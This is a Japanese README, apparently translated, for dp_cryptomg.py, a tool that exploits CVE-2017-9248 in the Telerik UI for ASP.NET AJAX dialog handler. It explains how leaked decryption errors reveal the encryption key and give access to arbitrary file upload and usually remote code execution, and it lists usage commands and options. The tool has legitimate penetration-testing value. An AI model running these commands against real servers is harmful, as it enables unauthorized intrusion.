
CVE-2017-9248(Telerik UI for ASP.NET AJAX dialog handlerの暗号上の脆弱性)を悪用するための別のツール。
CVE-2017-9248(Telerik UI for ASP.NET AJAX ダイアログハンドラーの暗号上の脆弱性)を悪用するためのツールです。この脆弱性を悪用すると、任意のファイルをアップロードできるファイルマネージャーユーティリティにアクセスでき、通常はリモートコード実行につながります。
この脆弱性は、Telerik の「DialogParameters」の復号化中にエラーメッセージを介して情報漏洩が発生することに起因します。DialogParameters は一連の暗号化された構成値であり、これらの値はユーザーに提供され、その後ユーザー入力としてサーバーにエコーバックされます。復号化プロセスに関する漏洩情報により、Telerik.Web.UI.DialogParametersEncryptionKey の体系的な発見が可能になります。脆弱性とツールの動作の詳細については、ブログ記事をご覧ください: https://blog.blacklanternsecurity.com/p/yet-another-telerik-ui-revisit。

CVE-2017-9248 を悪用するオリジナルツール dp_crypto は、本ツールを構築する上で非常に役立ちました。言うまでもなく、長年にわたって多くの RCE を獲得してきました :)
SR Labs のブログ記事 Achieving Telerik Remote Code Execution 100 Time Faster による研究は、本ツールで使用される手法の基礎となり、作成のきっかけとなりました
例(基本的な使用方法):
python3 dp_cryptomg.py http://example.com/Telerik.Web.UI.DialogHandler.aspx
例(カスタム鍵長の設定とプロキシの使用):
python3 dp_cryptomg.py -l 40 -p http://127.0.0.1:8080 http://example.com/Telerik.Web.UI.DialogHandler.aspx
usage: dp_cryptomg.py [-h] [-d] [-c COOKIE] [-k KNOWN_KEY] [-v VERSION] [-l LENGTH] [-p PROXY] [-s] [-S] url
positional arguments:
url ターゲットURL
optional arguments:
-h, --help ヘルプメッセージを表示して終了
-d, --debug デバッグモードを有効にする
-c COOKIE, --cookie COOKIE
すべてのリクエストにオプションのクッキーヘッダーを追加
-k KNOWN_KEY, --known-key KNOWN_KEY
部分的または完全な既知の鍵(HEX形式)
-v VERSION, --version VERSION
Telerikのバージョンを指定(既知の場合)
-l LENGTH, --length LENGTH
鍵の長さを指定(既知の場合)
-p PROXY, --proxy PROXY
任意でHTTPプロキシを設定
-s, --simple ファンシーインターフェースをオフにする
-S, --super-simple ファンシーインターフェースをオフにし、最小限の出力を表示
-q, --quick-check 脆弱性の検出のみを行い、エクスプロイトをスキップ(simpleモードを強制)
Telerik.Web.UI.DialogHandler.aspx と Telerik.Web.UI.SpellCheckHandler.axd の両エンドポイントから鍵を復元可能